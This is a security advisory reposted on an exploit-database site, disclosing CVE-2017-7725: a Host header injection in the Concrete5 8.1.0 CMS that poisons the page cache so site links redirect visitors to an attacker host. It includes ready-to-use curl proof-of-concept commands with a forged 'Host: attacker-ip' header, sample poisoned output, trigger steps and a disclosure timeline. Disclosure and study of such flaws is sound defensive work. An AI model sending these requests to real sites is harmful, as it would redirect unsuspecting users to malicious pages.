0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Concrete5 8.1.0 - Host Header Injection Vulnerability
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page a.k.a hyp3rlinx Vendor: ================== www.concrete5.org Product: ================ concrete5 v8.1.0 concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets. Vulnerability Type: ====================== Host Header Injection CVE Reference: ============== CVE-2017-7725 Security Issue: ================ If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the "collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header. Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website. Example MySQL data from "CollectionVersionBlocksOutputCache" table. (164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489 e.g. c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css"> <link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all"> <title>Services :: POC</title> <meta http-equiv="content-type" content="text/html; charset=UTF-8"/> <meta name="generator" content="concrete5 - 8.1.0"/> <script type="text/javascript"> var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php"; var CCM_CID = 162; var CCM_EDIT_MODE = false; var CCM_ARRANGE_MODE = false; var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images"; var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required"; var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE var CCM_REL = "/concrete5-8.1.0"; </script> Exploit: ========= curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip" curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip" Navigate to one of these URLs: http://VICTIM-IP/concrete5-8.1.0/index.php/services http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio Click on links in header portion of the webpage from one of the above URLs. Services Portfolio Team / Drop down Menu Blog Contact OR click on the links on footer portion of the webpage. FAQ / Help Case Studies Blog Another Link View on Google Maps Result: user gets redirected to attacker-ip. Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ====================================================== Vendor Notification : April 11, 2017 Vendor reply: "this is a known issue" : April 12, 2017 Requested a CVE from mitre. CVE assigned : April 12, 2017 April 13, 2017 : Public Disclosure # 0day.today [2024-11-16] #